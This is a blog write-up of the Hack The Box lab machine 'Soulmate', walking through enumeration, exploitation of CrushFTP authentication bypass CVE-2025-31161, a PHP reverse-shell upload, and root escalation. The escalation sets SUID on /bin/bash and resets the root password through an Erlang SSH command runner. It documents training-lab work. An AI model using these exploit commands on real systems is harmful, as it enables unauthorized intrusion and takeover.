Skip to main content

Soulmate

·704 words·4 mins
bitter_honey
Author
bitter_honey
Wanna be hacker
Table of Contents

Soulmate
#

Machine Description
#

Soulmate is an easy-difficulty Linux machine that focuses on web enumeration and service discovery. The initial foothold comes from virtual host enumeration, which reveals a CrushFTP instance vulnerable to an authentication bypass (CVE-2025-31161). After gaining access, you can leverage file upload functionality to obtain remote code execution and land a shell. The box then transitions into local enumeration and privilege escalation, ultimately leading to root via a misconfigured/root-run command runner.

Network Enumeration
#

# Nmap 7.98 scan initiated Fri Dec 12 09:31:14 2025 as: nmap -sCV -T4 -oN soulmate.nma 10.10.11.86
Nmap scan report for 10.10.11.86
Host is up (0.46s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE   VERSION
22/tcp   open     ssh       OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open     http      nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
1081/tcp filtered pvuniwien
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 12 09:32:22 2025 -- 1 IP address (1 host up) scanned in 67.47 seconds

The scan shows two open ports: 22 (SSH) and 80 (HTTP). Since a web server is running on port 80, I started with the web service.

When working on an HTB box, map the IP to the domain in /etc/hosts.

echo '10.10.11.86 soulmate.htb' | sudo tee -a /etc/hosts

Web Enumeration
#

After reviewing the application functionality, I didn’t find any direct vulnerabilities, so I proceeded with virtual host enumeration.

󰣇 ~/htb/soulmate ❯ ffuf -H 'HOST: FUZZ.soulmate.htb' -u http://soulmate.htb -w ~/Bitter/Discovery/DNS/bitquark-subdomains-top100000.txt -fl 8 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb
 :: Wordlist         : FUZZ: /home/bitter/Bitter/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 8
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 414ms]

The application exposes a subdomain, ftp.soulmate.htb, which is running the CrushFTP service. This version is vulnerable to an authentication bypass tracked as CVE-2025-31161.

Huntress.com

Version Detection

Auth Bypass
#

CVE-2025-31161

This GitHub repo provides a complete PoC for the CVE, so I used it to create an admin user.

python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user crushadmin --new_user bitter --password bitter 

After creating the admin user, you can log in with the new credentials. During further enumeration, I found a user named ben associated with the webProd directory. From the admin panel, it’s also possible to generate (reset) a password for ben and log in to that account.

After logging in as ben, you can upload a PHP file that will be served on the soulmate.htb domain.

I uploaded rev.php, which contained a reverse-shell payload. After visiting /rev.php, I received a shell as www-data.

Post Exploitation
#

After getting a shell as www-data, I performed further enumeration to escalate privileges to user ben (using ps aux and a tool like linpeas).

User
#

I noticed a binary running as root. Reviewing the script revealed credentials for user ben.

After finding ben’s password, I switched to the ben user and continued local enumeration. I found a service listening on port 2222/tcp; banner grabbing identified it as SSH-2.0-Erlang/5.2.9.

Root
#

Further research helped me confirm that I could run commands through it. Since ssh_runner runs as root, I used it to set the SUID bit on bash and reset the root password.

(ssh_runner@soulmate)2> os:cmd('id').

"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)9> os:cmd('chmod u+s /bin/bash && echo "root:root" | chpasswd').
[]
(ssh_runner@soulmate)10> os:cmd('ls -l /bin/bash').
"-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash\n"

This allowed me to escalate to root and fully compromise the machine.

Conclusion
#

This box focused on virtual host discovery, exploiting a real-world CVE, and chaining multiple privilege escalations. It’s a good example of how weak service isolation can lead to full system compromise.